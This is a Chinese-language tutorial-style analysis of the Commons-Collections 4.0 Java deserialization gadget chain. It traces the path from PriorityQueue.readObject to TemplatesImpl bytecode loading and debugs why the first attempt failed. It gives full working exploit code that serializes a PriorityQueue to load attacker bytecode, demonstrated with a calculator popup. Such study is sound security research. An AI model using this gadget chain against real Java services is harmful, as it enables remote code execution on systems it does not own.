环境
- JDK8u65
- Maven 3.6.3
- Commons-Collections 4.0
1
2
3
4
5
|
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
|
CC4链分析
- 从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。因为 CC4 链上只是去掉了 InvokerTransformer 的 Serializable 继承,所以最后的命令执行不受影响。
既然 InvokerTransformer 这里用不了了,我们去找谁调用了 transform()
方法,这里我去找的是 InstantiateTransformer
类,因为它上一步是 InvokerTransformer。
进行 find usages,在 TransformingComparator
这个类中的 compare()
方法调用了 transform()
方法。而 compare()
这个方法也是我们比较喜欢的这种,因为它非常常见。

找到PriorityQueue
类

在同一个类找下去



最后找到readObject
首部

刚好继承了序列化接口
和cc3尾部链子到InstantiateTransformer.transform()
后面都是同一条链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");
Field codes = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Class<TrAXFilter> trAXFilter = TrAXFilter.class;
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
// instantiateTransformer.transform(trAXFilter);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),instantiateTransformer,
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
// serialize(priorityQueue);
unserialize("ser.bin");
}
|
但是弹不了计算器
问题解决
再readObject
和heapify
打断点
debug的时候看到到heapify
没有进for循环,直接跳出程序,没进入到链子

当给size
赋值为2时,结果刚好1-1=0,满足i>=0,能进入循环,所以需要找到size赋值的地方

加上之后发现序列化运行的时候也会直接弹计算器
进入add
方法

只需要在add之前给TransformingComparator
传入一个无关的东西,add的时候进入不了链子,再通过反射来修改
最终exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");
Field codes = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Class<TrAXFilter> trAXFilter = TrAXFilter.class;
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
// instantiateTransformer.transform(trAXFilter);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),instantiateTransformer,
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = TransformingComparator.class;
Field field1 = c.getDeclaredField("transformer");
field1.setAccessible(true);
field1.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
|
成功弹计算器
流程图
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
//后面就是cc3链的后半部分
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()
ClassLoader.defineClass()
newInstance
|